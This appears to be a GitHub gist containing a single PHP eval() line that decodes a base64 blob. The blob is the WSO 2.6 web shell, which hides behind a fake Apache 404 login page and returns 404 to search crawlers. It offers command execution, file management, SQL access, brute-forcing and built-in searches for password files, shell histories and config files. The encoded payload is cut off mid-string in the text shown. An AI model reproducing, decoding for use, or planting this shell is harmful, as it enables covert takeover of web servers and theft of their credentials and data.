Skip to content

Instantly share code, notes, and snippets.

@subhashdasyam
Created July 3, 2017 17:44
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save subhashdasyam/c07faec7c47088b1e8d81c81bf3ad431 to your computer and use it in GitHub Desktop.
Save subhashdasyam/c07faec7c47088b1e8d81c81bf3ad431 to your computer and use it in GitHub Desktop.
<?php eval("?>".base64_decode("JGF1dGhfcGFzcyA9ICIwZDEwN2QwOWY1YmJlNDBjYWRlM2RlNWM3MWU5ZTliNyI7IA0KJGNvbG9yID0gIiMwMGZmMDAiOyANCiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7IA0KJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOyANCiRkZWZhdWx0X2NoYXJzZXQgPSAnV2luZG93cy0xMjUxJzsgDQogIA0KaWYoIWVtcHR5KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsgDQogICAgJHVzZXJBZ2VudHMgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIpOyANCiAgICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7IA0KICAgICAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsgDQogICAgICAgIGV4aXQ7IA0KICAgIH0gDQp9IA0KICANCkBzZXNzaW9uX3N0YXJ0KCk7IA0KQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7IA0KQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOyANCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOyANCkBzZXRfdGltZV9saW1pdCgwKTsgDQpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOyANCkBkZWZpbmUoJ1dTT19WRVJTSU9OJywgJzIuNicpOyANCiAgDQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7IA0KICAgIGZ1bmN0aW9uIFdTT3N0cmlwc2xhc2hlcygkYXJyYXkpIHsgDQogICAgICAgIHJldHVybiBpc19hcnJheSgkYXJyYXkpID8gYXJyYXlfbWFwKCdXU09zdHJpcHNsYXNoZXMnLCAkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7IA0KICAgIH0gDQogICAgJF9QT1NUID0gV1NPc3RyaXBzbGFzaGVzKCRfUE9TVCk7IA0KfSANCiAgDQpmdW5jdGlvbiB3c29Mb2dpbigpIHsgDQogICAgZGllKCI8aDE+Tm90IEZvdW5kPC9oMT4gDQo8cD5UaGUgcmVxdWVzdGVkIFVSTCB3YXMgbm90IGZvdW5kIG9uIHRoaXMgc2VydmVyLjwvcD4gDQo8cD5BZGRpdGlvbmFsbHksIGEgNDA0IE5vdCBGb3VuZCBlcnJvciB3YXMgZW5jb3VudGVyZWQgd2hpbGUgdHJ5aW5nIHRvIHVzZSBhbiBFcnJvckRvY3VtZW50IHRvIGhhbmRsZSB0aGUgcmVxdWVzdC48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZS8yLjIuMjIgKFVuaXgpIG1vZF9zc2wvMi4yLjIyIE9wZW5TU0wvMS4wLjAtZmlwcyBtb2RfYXV0aF9wYXNzdGhyb3VnaC8yLjEgbW9kX2J3bGltaXRlZC8xLjQgRnJvbnRQYWdlLzUuMC4yLjI2MzUgU2VydmVyIGF0IFBvcnQgODA8L2FkZHJlc3M+IA0KICAgIDxzdHlsZT4gDQogICAgICAgIGlucHV0IHsgbWFyZ2luOjA7YmFja2dyb3VuZC1jb2xvcjojZmZmO2JvcmRlcjoxcHggc29saWQgI2ZmZjsgfSANCiAgICA8L3N0eWxlPiANCiAgICA8cHJlIGFsaWduPWNlbnRlcj4gDQogICAgPGZvcm0gbWV0aG9kPXBvc3Q+IA0KICAgIDxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzcz4gDQogICAgPC9mb3JtPjwvcHJlPiIpOyANCn0gDQogIA0KaWYoIWlzc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pKSANCiAgICBpZiggZW1wdHkoJGF1dGhfcGFzcykgfHwgKCBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1dGhfcGFzcykgKSApIA0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHJ1ZTsgDQogICAgZWxzZQ0KICAgICAgICB3c29Mb2dpbigpOyANCiAgDQppZihzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsMCwzKSkgPT0gIndpbiIpIA0KICAgICRvcyA9ICd3aW4nOyANCmVsc2UNCiAgICAkb3MgPSAnbml4JzsgDQogIA0KJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsgDQppZighJHNhZmVfbW9kZSkgDQogICAgZXJyb3JfcmVwb3J0aW5nKDApOyANCiAgDQokZGlzYWJsZV9mdW5jdGlvbnMgPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsgDQokaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7IA0KaWYoaXNzZXQoJF9QT1NUWydjJ10pKSANCiAgICBAY2hkaXIoJF9QT1NUWydjJ10pOyANCiRjd2QgPSBAZ2V0Y3dkKCk7IA0KaWYoJG9zID09ICd3aW4nKSB7IA0KICAgICRob21lX2N3ZCA9IHN0cl9yZXBsYWNlKCJcIiwgIi8iLCAkaG9tZV9jd2QpOyANCiAgICAkY3dkID0gc3RyX3JlcGxhY2UoIlwiLCAiLyIsICRjd2QpOyANCn0gDQppZiggJGN3ZFtzdHJsZW4oJGN3ZCktMV0gIT0gJy8nICkgDQogICAgJGN3ZCAuPSAnLyc7IA0KICAgICAgDQogICAgICANCmlmKCFpc3NldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddKSkgDQogICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSA9IChib29sKSRHTE9CQUxTWydkZWZhdWx0X3VzZV9hamF4J107IA0KICANCmlmKCRvcyA9PSAnd2luJykgDQogICAgJGFsaWFzZXMgPSBhcnJheSggDQogICAgICAgICJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsIA0KICAgICAgICAiRmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgaW5kZXgucGhwIiwgDQogICAgICAgICJGaW5kICpjb25maWcqLnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiAqY29uZmlnKi5waHAiLCANCiAgICAgICAgIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLCANCiAgICAgICAgIlNob3cgcnVubmluZyBzZXJ2aWNlcyIgPT4gIm5ldCBzdGFydCIsIA0KICAgICAgICAiVXNlciBhY2NvdW50cyIgPT4gIm5ldCB1c2VyIiwgDQogICAgICAgICJTaG93IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwgDQogICAgICAgICJBUlAgVGFibGUiID0+ICJhcnAgLWEiLCANCiAgICAgICAgIklQIENvbmZpZ3VyYXRpb24iID0+ICJpcGNvbmZpZyAvYWxsIg0KICAgICk7IA0KZWxzZQ0KICAgICRhbGlhc2VzID0gYXJyYXkoIA0KICAgICAgICAiTGlzdCBkaXIiID0+ICJscyAtbGhhIiwgDQogICAgICAgICJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLCANCiAgICAgICAgInNob3cgb3BlbmVkIHBvcnRzIiA9PiAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIsIA0KICAgICAgICAicHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLCANCiAgICAgICAgIkZpbmQiID0+ICIiLCANCiAgICAgICAgImZpbmQgYWxsIHN1aWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwgDQogICAgICAgICJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwgDQogICAgICAgICJmaW5kIGFsbCBzZ2lkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsIA0KICAgICAgICAiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsIA0KICAgICAgICAiZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiwgDQogICAgICAgICJmaW5kIGNvbmZpZyogZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAiY29uZmlnKiIiLCANCiAgICAgICAgImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lICJjb25maWcqIiIsIA0KICAgICAgICAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiID0+ICJmaW5kIC8gLXBlcm0gLTIgLWxzIiwgDQogICAgICAgICJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtcGVybSAtMiAtbHMiLCANCiAgICAgICAgImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLCANCiAgICAgICAgImZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsIA0KICAgICAgICAiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwgDQogICAgICAgICJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsIA0KICAgICAgICAiZmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLCANCiAgICAgICAgImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLCANCiAgICAgICAgImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsIA0KICAgICAgICAiZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLCANCiAgICAgICAgIkxvY2F0ZSIgPT4gIiIsIA0KICAgICAgICAibG9jYXRlIGh0dHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgaHR0cGQuY29uZiIsIA0KICAgICAgICAibG9jYXRlIHZob3N0cy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHZob3N0cy5jb25mIiwgDQogICAgICAgICJsb2NhdGUgcHJvZnRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHByb2Z0cGQuY29uZiIsIA0KICAgICAgICAibG9jYXRlIHBzeWJuYy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHBzeWJuYy5jb25mIiwgDQogICAgICAgICJsb2NhdGUgbXkuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBteS5jb25mIiwgDQogICAgICAgICJsb2NhdGUgYWRtaW4ucGhwIGZpbGVzIiA9PiJsb2NhdGUgYWRtaW4ucGhwIiwgDQogICAgICAgICJsb2NhdGUgY2ZnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjZmcucGhwIiwgDQogICAgICAgICJsb2NhdGUgY29uZi5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZi5waHAiLCANCiAgICAgICAgImxvY2F0ZSBjb25maWcuZGF0IGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kYXQiLCANCiAgICAgICAgImxvY2F0ZSBjb25maWcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5waHAiLCANCiAgICAgICAgImxvY2F0ZSBjb25maWcuaW5jIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMiLCANCiAgICAgICAgImxvY2F0ZSBjb25maWcuaW5jLnBocCIgPT4gImxvY2F0ZSBjb25maWcuaW5jLnBocCIsIA0KICAgICAgICAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAiLCANCiAgICAgICAgImxvY2F0ZSBjb25maWcqIGZpbGVzICIgPT4gImxvY2F0ZSBjb25maWciLCANCiAgICAgICAgImxvY2F0ZSAuY29uZiBmaWxlcyI9PiJsb2NhdGUgJy5jb25mJyIsIA0KICAgICAgICAibG9jYXRlIC5wd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5wd2QnIiwgDQogICAgICAgICJsb2NhdGUgLnNxbCBmaWxlcyIgPT4gImxvY2F0ZSAnLnNxbCciLCANCiAgICAgICAgImxvY2F0ZSAuaHRwYXNzd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5odHBhc3N3ZCciLCANCiAgICAgICAgImxvY2F0ZSAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcuYmFzaF9oaXN0b3J5JyIsIA0KICAgICAgICAibG9jYXRlIC5teXNxbF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcubXlzcWxfaGlzdG9yeSciLCANCiAgICAgICAgImxvY2F0ZSAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJsb2NhdGUgJy5mZXRjaG1haWxyYyciLCANCiAgICAgICAgImxvY2F0ZSBiYWNrdXAgZmlsZXMiID0+ICJsb2NhdGUgYmFja3VwIiwgDQogICAgICAgICJsb2NhdGUgZHVtcCBmaWxlcyIgPT4gImxvY2F0ZSBkdW1wIiwgDQogICAgICAgICJsb2NhdGUgcHJpdiBmaWxlcyIgPT4gImxvY2F0ZSBwcml2Ig0KICAgICk7IA0KICANCmZ1bmN0aW9uIHdzb0hlYWRlcigpIHsgDQogICAgaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKSANCiAgICAgICAgJF9QT1NUWydjaGFyc2V0J10gPSAkR0xPQkFMU1snZGVmYXVsdF9jaGFyc2V0J107IA0KICAgIGdsb2JhbCAkY29sb3I7IA0KICAgIGVjaG8gIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgLiAkX1BPU1RbJ2NoYXJzZXQnXSAuICInPjx0aXRsZT4iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIiAtIFdTTyAiIC4gV1NPX1ZFUlNJT04gLiI8L3RpdGxlPiANCjxzdHlsZT4gDQpib2R5IHtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7Y29sb3I6I2ZmZjt9ICANCmJvZHksdGQsdGh7IGZvbnQ6IDlwdCBMdWNpZGEsVmVyZGFuYTttYXJnaW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7IH0gIA0Kc3BhbixoMSxheyBjb2xvcjogJGNvbG9yICFpbXBvcnRhbnQ7IH0gIA0Kc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfSAgDQpoMXsgYm9yZGVyOjFweCBzb2xpZCAkY29sb3I7cGFkZGluZzogMnB4IDVweDtmb250OiAxNHB0IFZlcmRhbmE7bWFyZ2luOjBweDsgfSAgDQpkaXYuY29udGVudHsgcGFkZGluZzogNXB4O21hcmdpbi1sZWZ0OjVweDt9ICANCmF7IHRleHQtZGVjb3JhdGlvbjpub25lOyB9ICANCmE6aG92ZXJ7IGJhY2tncm91bmQ6I2ZmMDAwMDsgfSAgDQoubWwxeyBib3JkZXI6MXB4IHNvbGlkICM0NDQ7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87IH0gIA0KLmJpZ2FyZWF7IHdpZHRoOjEwMCU7aGVpZ2h0OjI1MHB4OyB9ICANCmlucHV0LCB0ZXh0YXJlYSwgc2VsZWN0eyBtYXJnaW46MDtjb2xvcjojMDBmZjAwO2JhY2tncm91bmQtY29sb3I6IzAwMDtib3JkZXI6MXB4IHNvbGlkICRjb2xvcjsgZm9udDogOXB0IE1vbm9zcGFjZSwnQ291cmllciBOZXcnOyB9ICANCmZvcm17IG1hcmdpbjowcHg7IH0gIA0KI3Rvb2xzVGJseyB0ZXh0LWFsaWduOmNlbnRlcjsgfSAgDQoudG9vbHNJbnB7IHdpZHRoOiA4MCU7IH0gIA0KLm1haW4gdGh7dGV4dC1hbGlnbjpsZWZ0O30gIA0KLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlO30gIA0KLm1haW4gdGQsIHRoe3ZlcnRpY2FsLWFsaWduOm1pZGRsZTt9ICANCnByZXtmb250LWZhbWlseTpDb3VyaWVyLE1vbm9zcGFjZTt9IA0KI2NvdF90bF9maXhlZHtwb3NpdGlvbjpmaXhlZDtib3R0b206MHB4O2ZvbnQtc2l6ZToxMnB4O2xlZnQ6MHB4O3BhZGRpbmc6NHB4IDA7Y2xpcDpfdG9wOmV4cHJlc3Npb24oZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LnNjcm9sbFRvcCtkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xpZW50SGVpZ2h0LXRoaXMuY2xpZW50SGVpZ2h0KTtfbGVmdDpleHByZXNzaW9uKGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zY3JvbGxMZWZ0ICsgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudFdpZHRoIC0gb2Zmc2V0V2lkdGgpO30gIA0KPC9zdHlsZT4gDQo8c2NyaXB0PiANCiAgICB2YXIgY18gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuICInOyANCiAgICB2YXIgYV8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnYSddKSAuIicNCiAgICB2YXIgY2hhcnNldF8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnY2hhcnNldCddKSAuIic7IA0KICAgIHZhciBwMV8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AxJ10sIm4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSxFTlRfUVVPVEVTKSkgLiInOyANCiAgICB2YXIgcDJfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydwMiddLCJuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10sRU5UX1FVT1RFUykpIC4iJzsgDQogICAgdmFyIHAzXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDMnXSwibiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMyddLEVOVF9RVU9URVMpKSAuIic7IA0KICAgIHZhciBkID0gZG9jdW1lbnQ7IA0KICAgIGZ1bmN0aW9uIHNldChhLGMscDEscDIscDMsY2hhcnNldCkgeyANCiAgICAgICAgaWYoYSE9bnVsbClkLm1mLmEudmFsdWU9YTtlbHNlIGQubWYuYS52YWx1ZT1hXzsgDQogICAgICAgIGlmKGMhPW51bGwpZC5tZi5jLnZhbHVlPWM7ZWxzZSBkLm1mLmMudmFsdWU9Y187IA0KICAgICAgICBpZihwMSE9bnVsbClkLm1mLnAxLnZhbHVlPXAxO2Vsc2UgZC5tZi5wMS52YWx1ZT1wMV87IA0KICAgICAgICBpZihwMiE9bnVsbClkLm1mLnAyLnZhbHVlPXAyO2Vsc2UgZC5tZi5wMi52YWx1ZT1wMl87IA0KICAgICAgICBpZihwMyE9bnVsbClkLm1mLnAzLnZhbHVlPXAzO2Vsc2UgZC5tZi5wMy52YWx1ZT1wM187IA0KICAgICAgICBpZihjaGFyc2V0IT1udWxsKWQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0O2Vsc2UgZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXRfOyANCiAgICB9IA0KICAgIGZ1bmN0aW9uIGcoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsgDQogICAgICAgIHNldChhLGMscDEscDIscDMsY2hhcnNldCk7IA0KICAgICAgICBkLm1mLnN1Ym1pdCgpOyANCiAgICB9IA0KICAgIGZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsgDQogICAgICAgIHNldChhLGMscDEscDIscDMsY2hhcnNldCk7IA0KICAgICAgICB2YXIgcGFyYW1zID0gJ2FqYXg9dHJ1ZSc7IA0KICAgICAgICBmb3IoaT0wO2k8ZC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKSANCiAgICAgICAgICAgIHBhcmFtcyArPSAnJicrZC5tZi5lbGVtZW50c1tpXS5uYW1lKyc9JytlbmNvZGVVUklDb21wb25lbnQoZC5tZi5lbGVtZW50c1tpXS52YWx1ZSk7IA0KICAgICAgICBzcignIiAuIGFkZHNsYXNoZXMoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4iJywgcGFyYW1zKTsgDQogICAgfSANCiAgICBmdW5jdGlvbiBzcih1cmwsIHBhcmFtcykgeyANCiAgICAgICAgaWYgKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCkgDQogICAgICAgICAgICByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsgDQogICAgICAgIGVsc2UgaWYgKHdpbmRvdy5BY3RpdmVYT2JqZWN0KSANCiAgICAgICAgICAgIHJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCdNaWNyb3NvZnQuWE1MSFRUUCcpOyANCiAgICAgICAgaWYgKHJlcSkgeyANCiAgICAgICAgICAgIHJlcS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBwcm9jZXNzUmVxQ2hhbmdlOyANCiAgICAgICAgICAgIHJlcS5vcGVuKCdQT1NUJywgdXJsLCB0cnVlKTsgDQogICAgICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlciAoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKTsgDQogICAgICAgICAgICByZXEuc2VuZChwYXJhbXMpOyANCiAgICAgICAgfSANCiAgICB9IA0KICAgIGZ1bmN0aW9uIHByb2Nlc3NSZXFDaGFuZ2UoKSB7IA0KICAgICAgICBpZiggKHJlcS5yZWFkeVN0YXRlID09IDQpICkgDQogICAgICAgICAgICBpZihyZXEuc3RhdHVzID09IDIwMCkgeyANCiAgICAgICAgICAgICAgICB2YXIgcmVnID0gbmV3IFJlZ0V4cCgiKFxcZCspKFtcXFNcXHNdKikiLCAnbScpOyANCiAgICAgICAgICAgICAgICB2YXIgYXJyPXJlZy5leGVjKHJlcS5yZXNwb25zZVRleHQpOyANCiAgICAgICAgICAgICAgICBldmFsKGFyclsyXS5zdWJzdHIoMCwgYXJyWzFdKSk7IA0KICAgICAgICAgICAgfSBlbHNlIGFsZXJ0KCdSZXF1ZXN0IGVycm9yIScpOyANCiAgICB9IA0KPC9zY3JpcHQ+IA0KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7dG9wOjA7bGVmdDowOyc+IA0KPGZvcm0gbWV0aG9kPXBvc3QgbmFtZT1tZiBzdHlsZT0nZGlzcGxheTpub25lOyc+IA0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YT4gDQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPiANCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxPiANCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyPiANCiAgDQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMz4gDQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0PiANCjwvZm9ybT4iOyANCiAgICAkZnJlZVNwYWNlID0gQGRpc2tmcmVlc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsgDQogICAgJHRvdGFsU3BhY2UgPSBAZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOyANCiAgICAkdG90YWxTcGFjZSA9ICR0b3RhbFNwYWNlPyR0b3RhbFNwYWNlOjE7IA0KICAgICRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOyANCiAgICAka2VybmVsID0gQHBocF91bmFtZSgncycpOyANCiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsgDQogICAgICAgICR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsgDQogICAgICAgICR1aWQgPSBAZ2V0bXl1aWQoKTsgDQogICAgICAgICRnaWQgPSBAZ2V0bXlnaWQoKTsgDQogICAgICAgICRncm91cCA9ICI/IjsgDQogICAgfSBlbHNlIHsgDQogICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsgDQogICAgICAgICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsgDQogICAgICAgICR1c2VyID0gJHVpZFsnbmFtZSddOyANCiAgICAgICAgJHVpZCA9ICR1aWRbJ3VpZCddOyANCiAgICAgICAgJGdyb3VwID0gJGdpZFsnbmFtZSddOyANCiAgICAgICAgJGdpZCA9ICRnaWRbJ2dpZCddOyANCiAgICB9IA0KICANCiAgICAkY3dkX2xpbmtzID0gJyc7IA0KICAgICRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7IA0KICAgICRuPWNvdW50KCRwYXRoKTsgDQogICAgZm9yKCRpPTA7ICRpPCRuLTE7ICRpKyspIHsgDQogICAgICAgICRjd2RfbGlua3MgLj0gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coIkZpbGVzTWFuIiwiIjsgDQogICAgICAgIGZvcigkaj0wOyAkajw9JGk7ICRqKyspIA0KICAgICAgICAgICAgJGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOyANCiAgICAgICAgJGN3ZF9saW5rcyAuPSAiIiknPiIuJHBhdGhbJGldLiIvPC9hPiI7IA0KICAgIH0gDQogIA0KICAgICRjaGFyc2V0cyA9IGFycmF5KCdVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NicpOyANCiAgICAkb3B0X2NoYXJzZXRzID0gJyc7IA0KICAgIGZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKSANCiAgICAgICAgJG9wdF9jaGFyc2V0cyAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4kaXRlbS4nIiAnLigkX1BPU1RbJ2NoYXJzZXQnXT09JGl0ZW0/J3NlbGVjdGVkJzonJykuJz4nLiRpdGVtLic8L29wdGlvbj4nOyANCiAgDQogICAgJG0gPSBhcnJheSgnU2VjIEluZm8nPT4nU2VjSW5mbycsJ0ZpbGVzJz0+J0ZpbGVzTWFuJywnRXhlYyc9PidDb25zb2xlJywnU3FsJz0+J1NxbCcsJ1BIUCBUb29scyc9PidwaHB0b29scycsJ0xGSSc9PidsZmlzY2FuJywnUGhwJz0+J1BocCcsJ1NhZmUgbW9kZSc9PidTYWZlTW9kZScsJ1N0cmluZyB0b29scyc9PidTdHJpbmdUb29scycsJ1hTUyBTaGVsbCc9PidYU1NTaGVsbCcsJ0JydXRlZm9yY2UnPT4nQnJ1dGVmb3JjZScsJ05ldHdvcmsnPT4nTmV0d29yaycpOyANCiAgICBpZighZW1wdHkoJEdMT0JBTFNbJ2F1dGhfcGFzcyddKSkgDQogICAgICAgICRtWydMb2dvdXQnXSA9ICdMb2dvdXQnOyANCiAgICAkbVsnU2VsZiByZW1vdmUnXSA9ICdTZWxmUmVtb3ZlJzsgDQogICAgJG1lbnUgPSAnJzsgDQogICAgZm9yZWFjaCgkbSBhcyAkayA9PiAkdikgDQogICAgICAgICRtZW51IC49ICc8dGggd2lkdGg9IicuKGludCkoMTAwL2NvdW50KCRtKSkuJyUiPls8YSBocmVmP